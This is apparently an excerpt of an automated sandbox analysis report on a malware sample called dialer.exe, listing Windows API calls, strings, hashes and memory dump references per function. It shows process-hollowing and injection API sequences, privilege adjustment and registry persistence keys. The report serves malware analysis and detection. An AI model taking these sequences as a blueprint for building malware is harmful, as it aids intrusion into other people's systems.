Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

SOFTWARE, xrefs: 0000000140002675
open, xrefs: 0000000140002960
dialerstager, xrefs: 0000000140002694

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: dialer.exePID: 2284, Parent PID: 3524COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	826
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 6751f840f2f5aebd6751d524e6efc601c9bb43c772484294e188eecfbad3158e
Instruction ID: db77473c3d931d0fcdff88eb00413d93014a399b348e2779a93e53daa222875a
Opcode Fuzzy Hash: 6751f840f2f5aebd6751d524e6efc601c9bb43c772484294e188eecfbad3158e
Instruction Fuzzy Hash: 0BF0AFB2608B408AEA12DF52F89579A77A0F38D7C0F00991ABBC843735DB3CC190CB40

Non-executed Functions

Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00000001400028F4
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

\BaseNamedObjects\krwgvaizwkrekxljjkewdlmp, xrefs: 00000001400026E9
0, xrefs: 00000001400028F9
X, xrefs: 0000000140002C93
`, xrefs: 0000000140002CAB

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\krwgvaizwkrekxljjkewdlmp$`
API String ID: 597572034-4019176162
Opcode ID: c600c716e08e094fafbff1190e846a4c8af8233fcc056b851a4b5868120616ec
Instruction ID: 6d2fbcda24ca89716a86bde41687ff7fffd3aad73cb8576b26b5126aeab97ea9
Opcode Fuzzy Hash: c600c716e08e094fafbff1190e846a4c8af8233fcc056b851a4b5868120616ec
Instruction Fuzzy Hash: 5F1248B2608BC481E762CB16F8443EAB7A4F789794F414215EBA857BF5EF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: f4770097703a93e6ebc2b28b43cd9dde9cff56eadf7c464ec9f392a7b96236ef
Instruction ID: f5b649809ecdb1e3254532f3c56674770b0d491324e0a3fa73df4e492b336c57
Opcode Fuzzy Hash: f4770097703a93e6ebc2b28b43cd9dde9cff56eadf7c464ec9f392a7b96236ef
Instruction Fuzzy Hash: DA5122B1A11A4085FB16EF27F9947EA27A5AB8D7D0F808121FB4D873B6DE38C4958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007C30,0000000140007C30,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007C30,0000000140007C30,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007C30,0000000140007C30,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
Address %p has no image-section, xrefs: 0000000140001CF4

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 2308ca6eaf7bf6aa6e5fd7c2dad65274fa0cdee15cec1e8ea3a4e6064b89d7b3
Instruction ID: 43a0cbb6118ac9185dba083df37bfa5a8251914ca7472923389a44b33500f4d1
Opcode Fuzzy Hash: 2308ca6eaf7bf6aa6e5fd7c2dad65274fa0cdee15cec1e8ea3a4e6064b89d7b3
Instruction Fuzzy Hash: BC4153F1601A4486FA26DF47F884BE927A0E78DBC4F584122EF0E877B1DA38C586C300

Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: d9a872710ed99017faa0aba6aa6fc20f036904564ea786093dba8e779631c78c
Instruction ID: a4e62dc8e7d81a00801526d2a511ced90750e179f40fb15ec58be7477c50376c
Opcode Fuzzy Hash: d9a872710ed99017faa0aba6aa6fc20f036904564ea786093dba8e779631c78c
Instruction Fuzzy Hash: F221E3B0715A0292FA1BDB53F9483E92360B76CBD0F444161EB1E47AB4DB7A8986C300

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 0e7c40df18b2d889cb18027e33d092cab4b671df9256c1c141fb24a14e92ca32
Instruction ID: 2d94c89a0dbc5eaf2f8d64577ab743d1a622af76d4dc519d29f5ea4fbe6584bb
Opcode Fuzzy Hash: 0e7c40df18b2d889cb18027e33d092cab4b671df9256c1c141fb24a14e92ca32
Instruction Fuzzy Hash: 245114B6B11544DAEB16CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D
Unknown error, xrefs: 0000000140001824

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 0203b8193e6bd01d2269ae2997a65bc3a8e51b9bb463c4828a750bc6846778a9
Instruction ID: 7f685618ca937b17e8a77ff3462c9f9b221cac2c692d946b3ecbcedae4a5563c
Opcode Fuzzy Hash: 0203b8193e6bd01d2269ae2997a65bc3a8e51b9bb463c4828a750bc6846778a9
Instruction Fuzzy Hash: 15F09671A14A4482E612EF6AB9417ED6360E75D7C1F50D221FF4E576A6DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000040.00000002.3278655687.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3278387606.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3278920378.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279098990.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3279282823.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: f5d6f4d19039afd7669e997dc8e3bf76fcc59d2d2e4ea198e7921c6a9a2d6c1d
Instruction ID: fa24f775fc133e2fb8ddb0fda3fc4b66b3fc9b3ea8c54cca86470a464386792f
Opcode Fuzzy Hash: f5d6f4d19039afd7669e997dc8e3bf76fcc59d2d2e4ea198e7921c6a9a2d6c1d
Instruction Fuzzy Hash: 4F01B2B5705A0192FA1BDB53FE083E86360B76CBD1F454061EF0953AB4DF79C996C200

Analysis Process: dialer.exePID: 4508, Parent PID: 3524COMMON

Execution Graph

Execution Coverage:	56.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	87.5%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001408460F0 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000000014084621A
GetProcAddressForCaller.KERNELBASE ref: 0000000140846244
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 00000001408462C9
VirtualProtect.KERNELBASE ref: 00000001408462E7

Memory Dump Source

Source File: 00000041.00000002.3278592017.0000000140840000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3278536247.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3278592017.00000001404DC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3278592017.0000000140500000.00000040.00000001.00020000.00000000.sdmpDownload File
